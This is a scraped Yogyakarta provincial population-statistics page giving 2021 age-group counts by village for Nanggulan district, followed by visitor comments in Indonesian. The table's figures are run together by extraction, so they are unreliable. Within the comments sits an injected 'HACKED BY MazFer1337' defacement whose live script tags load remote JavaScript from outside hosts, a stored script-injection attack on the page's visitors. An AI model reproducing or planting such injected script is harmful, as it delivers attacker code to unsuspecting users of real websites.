Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN NANGGULAN, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANYUROTODONOMULYOWIJIMULYOTANJUNGHARJOJATISARONOKEMBANGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4946 956867 1356154 1155047 973936 755138 89318 288 606
2 tahun2333 565138 893631 673732 692828 563834 72213 196 409
3 tahun2527 525245 973732 693332 652929 583136 67207 201 408
4 tahun2721 484844 923528 632534 593221 532826 54195 174 369
5 tahun2932 616342 1054144 853839 772729 563534 69233 220 453
6 tahun2231 534257 993124 553820 584027 673342 75206 201 407
7 tahun3435 694548 934043 832728 554137 782423 47211 214 425
8 tahun3125 564837 854020 604135 762934 632830 58217 181 398
9 tahun2640 665047 973534 693931 704237 792530 55217 219 436
10 tahun3532 674341 843336 693426 603031 613834 72213 200 413
11 tahun4422 663653 894133 743837 754837 853639 75243 221 464
12 tahun3337 704539 843933 723240 724035 753619 55225 203 428
13 tahun3034 644940 894035 753336 693534 694447 91231 226 457
14 tahun2328 514053 933432 664227 693135 663227 59202 202 404
15 tahun3328 613929 683838 763030 603230 622940 69201 195 396
16 tahun2928 574844 924032 723128 593640 764230 72226 202 428
17 tahun2417 414038 783735 724035 753329 622939 68203 193 396
18 tahun3426 603242 744532 772833 612936 652343 66191 212 403
19 tahun2834 624843 914539 842527 524841 893536 71229 220 449
20 tahun2821 495047 973636 722838 664135 763641 77219 218 437
21 tahun3926 656045 1054845 933338 714336 793544 79258 234 492
22 tahun2114 354755 1023837 752830 584430 744129 70219 195 414
23 tahun2326 495446 1004241 833235 673546 814430 74230 224 454
24 tahun2823 515843 1013855 933434 684534 794428 72247 217 464
25 tahun2838 665639 954936 854237 794333 763932 71257 215 472
26 tahun3525 605657 1134043 833128 593835 733034 64230 222 452
27 tahun2529 545640 963835 733435 694031 712041 61213 211 424
28 tahun2921 503543 783243 752926 552828 562539 64178 200 378
29 tahun2928 574255 973441 753441 753437 714033 73213 235 448
30 tahun2830 585056 1062736 633228 603135 663337 70201 222 423
31 tahun2329 526650 1164729 762739 663136 672927 56223 210 433
32 tahun2222 443649 853029 593630 662523 483142 73180 195 375
33 tahun3436 705246 982932 613426 602328 513432 66206 200 406
34 tahun2220 425336 893617 532333 562237 593514 49191 157 348
35 tahun2326 493544 793441 753939 783127 584022 62202 199 401
36 tahun3326 595451 1054133 742529 544134 753738 75231 211 442
37 tahun2629 554042 822544 693631 672640 662640 66179 226 405
38 tahun2931 605959 1183239 713336 693432 663632 68223 229 452
39 tahun3547 823844 823542 773137 682734 612838 66194 242 436
40 tahun3933 725951 1103149 803939 785037 873433 67252 242 494
41 tahun4228 705458 1124042 823534 693743 804651 97254 256 510
42 tahun4835 833646 824035 753339 723736 734230 72236 221 457
43 tahun2128 493846 843334 673238 704153 943333 66198 232 430
44 tahun2829 574833 813929 683230 623939 782237 59208 197 405
45 tahun2838 664429 733535 704640 864230 724338 81238 210 448
46 tahun3230 625034 843425 593029 593627 633934 73221 179 400
47 tahun2525 503630 663443 772525 503238 703432 66186 193 379
48 tahun3025 554445 893754 913539 743841 793648 84220 252 472
49 tahun2834 623643 793946 853241 733533 684336 79213 233 446
50 tahun2726 533941 803752 892932 613834 722737 64197 222 419
51 tahun2936 654355 984236 784027 673642 782735 62217 231 448
52 tahun2320 434529 743250 822933 623339 723240 72194 211 405
53 tahun3029 595253 1054551 963131 623546 812929 58222 239 461
54 tahun2629 553446 804328 712328 514052 922539 64191 222 413
55 tahun2228 504058 983547 824431 754446 903639 75221 249 470
56 tahun2321 443342 754435 791535 503437 712635 61175 205 380
57 tahun2123 443649 853434 683231 632229 513441 75179 207 386
58 tahun3221 534336 793542 771432 462228 502437 61170 196 366
59 tahun1914 333934 733025 552431 553530 652234 56169 168 337
60 tahun2132 533637 732827 553030 602437 613037 67169 200 369
61 tahun3233 655152 1032840 682738 652730 573031 61195 224 419
62 tahun2322 453835 733336 692026 462828 563029 59172 176 348
63 tahun1314 273129 602431 552730 572827 552834 62151 165 316
64 tahun1917 362622 482031 511518 332115 361821 39119 124 243
65 tahun2331 544243 853037 672521 462629 552720 47173 181 354
66 tahun1538 533840 782532 571913 322121 423029 59148 173 321
67 tahun1015 251819 372924 531114 252635 61208 28114 115 229
68 tahun913 221624 402024 441327 401821 391913 3295 122 217
69 tahun1310 232021 412615 411517 322018 381413 27108 94 202
70 tahun1725 422833 611221 331622 381917 361619 35108 137 245
71 tahun2419 432635 612119 401625 411523 381519 34117 140 257
72 tahun109 192018 382026 461514 292220 421112 2398 99 197
73 tahun714 211917 361623 391211 231327 401817 3585 109 194
74 tahun35 81011 21811 19513 18810 18710 1741 60 101
75 tahun918 272317 401017 27822 301723 401114 2578 111 189
76 tahun1024 341828 461622 381313 261710 271410 2488 107 195
77 tahun68 14614 201110 21211 13815 23810 1841 68 109
78 tahun912 211111 221313 26107 17186 24917 2670 66 136
79 tahun86 141012 221119 3078 151111 22115 1658 61 119
80 ke atas5684 1406877 14571112 1836782 1495767 1245491 145373 513 886
Jumlah2.0492.1244.1733.2883.2476.5352.6902.7915.4812.2952.4144.7092.5212.5475.0682.3942.5174.911 15.237 15.640 30.877
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih